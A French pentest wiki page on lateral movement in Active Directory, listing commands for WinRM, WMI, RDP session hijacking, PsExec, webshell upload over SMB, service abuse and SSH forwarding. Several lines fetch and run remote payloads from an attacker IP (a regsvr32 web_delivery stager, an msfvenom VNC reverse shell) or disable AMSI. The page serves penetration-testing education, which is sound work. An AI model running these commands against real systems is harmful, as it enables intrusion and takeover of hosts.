Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • WinRM
  • Evil-WinRM
  • WinRS
  • WMI
  • RDP
  • Exécution de commande avec SharpRDP
  • Racine web partagée
  • Service Configuration Manager
  • SMB
  • PsExec
  • Sc.exe
  • SharpMove.exe
  • De Beacon à session RDP
  • SSH
  • Port Forwarding
  • VNC

Cet article vous a-t-il été utile ?

  1. Pentest AD

Mouvements latéraux

Techniques de mouvements latéraux dans environnement AD

WinRM

New-PSSession -ComputerName <hôte> -Credential <username>

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM2          Hôte...         RemoteMachine   Opened        Microsoft.PowerShell     Available
  
PS C:\Users\attaquant> Enter-PSSession 1
[Contrôleur de domaine]: PS C:\Users\<username>\Documents> calc.exe

Commandes utiles:

#Activer le PSRemoting de force sur la cible (qui doit avoir été compromise avant)
Enable-PSRemoting -force

#Tester la connexion d'une cible sur le port WinRM
Test-NetConnection <IP> -CommonTCPPort WINRM

#Faire en sorte que tous les hôtes soit de confiance
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force

#Lister les hôtes de confiance
Get-Item WSMan:\localhost\Client\TrustedHosts

#Upload un fichier sur la session à distance
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession <numéro de session>

#-FromSession à la place de -ToSession pour télécharger depuis une session

Evil-WinRM

Evil-WinRM permet d'ouvrir un shell winRM sur la machine de l'attaquant.

Exemple:

$ evil-winrm -i <target IP> -u <utilisateur> -p <password>

WinRS

Lancer une commande à distance:

winrs -r:<hôte> "cmd /c <commande>"

WMI

Lancement de processus à distance avec wmi:

wmi /node:<IP cible> /user:administrator process call create "cmd.exe /c <processus>"

RDP

Il est possible de changer d'utilisateur lorsqu'on est connecté en tant qu'administrateur en allant dans le gestionnaire de tâches puis en allant dans la section "Users". Une fois dedans on peut choisir l'utilisateur voulu et faire un clic droit dessus puis se connecter.

Cette manipulation requière le mot de passe de l'utilisateur en question.

Pour tenter de se connecter sans connaître le mot de passe de la victime, on peut essayer d'utiliser l'outil PsExec avec les permissions SYSTEM.

#Afficher les sessions des utilisateurs
query user

On peut basculer vers la session d'un utilisateur avec le binaire Windows natif tscon.exe qui permet aux utilisateurs de se connecter à d'autres sessions en spécifiant leur ID de session.

cmd / k tscon <numéro de session> / dest : console

Exécution de commande avec SharpRDP

L'attaquant doit au préalable avoir créé un serveur SMB et placé son exécutable malveillant dedans (reverse shell par exemple)

$ SharpRDP.exe computername=DESKTOP-XXXXXX command="cmd.exe /c \<attacker SMB server>\partage\shell.exe username=Administrator password=<password>

Racine web partagée

Enumeration des partages de la victime:

smbclient -L //<IP victime> -U <utilisateur>

Nécessite le mot de passe de l'utilisateur.

Si il y a un répertoire web partagé (wwwroot par exemple), s'y connecter:

smbclient //<IP victime>/wwwroot -U <utilisateur>

Puis uploader un webshell:

>put /usr/share/webshells/aspx/cmdaspx.aspx c.aspx
>ls

Si le fichier c.aspx est visible dans les partages alors on pourra y accéder en se rendant à l'adresse <IP victime>/c.aspx dans un navigateur.

Service Configuration Manager

Il est possible d'exécuter des commandes sur un hôte distant en abusant du gestionnaire de configuration de service en échangeant le chemin d'accès par votre payload et en redémarrant le service pour que celui-ci soit exécuté. Il est possible d'utiliser l'outil SCShell pour le faire automatiquement.

./scshell.exe <hôte> <service> "C:\windows\system32\cmd.exe /c <payload>" <username> <domaine> <password>

SMB

PsExec

Connexion à une machine distante avec PsExec en SMB:

.\PsExec.exe -u <utilisateur> -p <mot de passe> \\<hôte> cmd.exe

Sc.exe

sc.exe est un outil de ligne de commande fourni avec Windows et offre la fonctionnalité de maintenance et d'administration des services Windows NT. Il s'agit d'un processus système non essentiel, cependant, il peut être utilisé pour créer des processus et y exécuter des DLL.

Il faut donc dans un premier temps créer un handler sur notre machine locale.

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
set target <target number>
run

Nous devrions obtenir avec ce module un code regsvr qu'on peut inclure dans la commande sc.exe binpath de la machine cible:

sc \\DESKTOP-9GSGKO9 create <process name> binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://<attacker IP>:<port d'écoute>/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start <process name>

Ce processus devrait alors ouvrir un shell meterpreter sur notre machine locale grâce au handler précédemment ouvert.

Il est possible d'utiliser le même module avec cmd.exe, dans ce cas on utilisera la commande

$ cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://<attacker IP>:<port d'écoute>/jqVdIASVxjl4T.sct scrobj.dll" 1> \127.0.0.1\ADMIN$\<profil> 2>&1

SharpMove.exe

$ SharpMove.exe action=modsvc computername=DESKTOP-XXXXXX command="cmd.exe /c \\<attacker IP>\partage\shell.exe" amsi=true servicename=<service> username=Administrator password=<password>

De Beacon à session RDP

Si la machine compromise utilise des beacon et permet une connexion en RDP mais que vous ne pouvez pas vous y connecter de l'extérieur, On peut essayer d'utiliser cette technique:

Créer un proxy socks sur le port 7777 sur la machine compromise.

beacon> socks 7777

Configurer proxychains pour pointer vers le port ouvert

$ tail /etc/proxychains.conf -n2 socks4 xxxx 7777

Puis se connecter en RDP avec xfreerdp:

$ proxychains xfreerdp /v:<IP victime>:3389 /u:<utilisateur>

SSH

Port Forwarding

Pour mettre en place une redirection de port locale, qui nous permet de rediriger tout trafic entrant sur un port spécifique vers le serveur de destination, nous suivons le schéma suivant :

$ ssh -L <local port> : <dest IP> : <dest port> <username>@<server IP>

Une fois la configuration réussie, nous pourrions désormais nous connecter au serveur de destination ! Tout d'abord, assurez-vous qu'il n'y a pas d'entrées localhost préexistantes dans le fichier known_hosts (en utilisant $ ssh-keygen -R 127.0.0.1)

Ensuite on peut se connecter avec la commande:

$ ssh <username>@127.0.0.1 -p <local port>

VNC

Vncinject est une charge utile disponible avec msfvenom, elle installe une DLL vnc réfléchissante sur le système de l'attaquant et se reconnecte au système de l'attaquant. On peut noter que pour d'autres mouvements latéraux utilisant ceci, il peut être conservé dans un partage, et une méthode d'exécution à distance comme psexec peut être utilisée.

Sur la machine locale:

Création du payload:

$ msfvenom -p windows/x64/vncinject/reverse_tcp lhost=<attacker IP> lport=<port d'écoute> -f exe > vnc.exe

Mise en place du handler:

use exploit/multi/handler
set payload windows/x64/vncinject/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
run

Sur la machine cible:

# Téléchargement du payload
> powershell wget <attacker IP>/vnc.exe -O vnc.exe
# Execution du payload
> vnc.exe
PrécédentGPPSuivantPass The Hash

Dernière mise à jour il y a 2 ans

Cet article vous a-t-il été utile ?

ressource:

ressource:

0xthirteen a développé un script C # appelé qui utilise de nombreux services distants différents pour effectuer l'exécution du code. Il peut utiliser un partage SMB sur un système distant pour exécuter du code. Il peut également essayer de désactiver l'AMSI. Dans cet exemple, nous allons modifier un service existant en y inscrivant notre propre code. Nous venons de créer un service lors de la démonstration de sc.exe, modifions ce service. L'exécution sur le système avec le nom d'hôte "DESKTOP-XXXXXX" peut être réalisée comme suit :

🗂️
➡️
https://github.com/Hackplayers/evil-winrm
https://github.com/Mr-Un1k0d3r/SCShell
SharpMove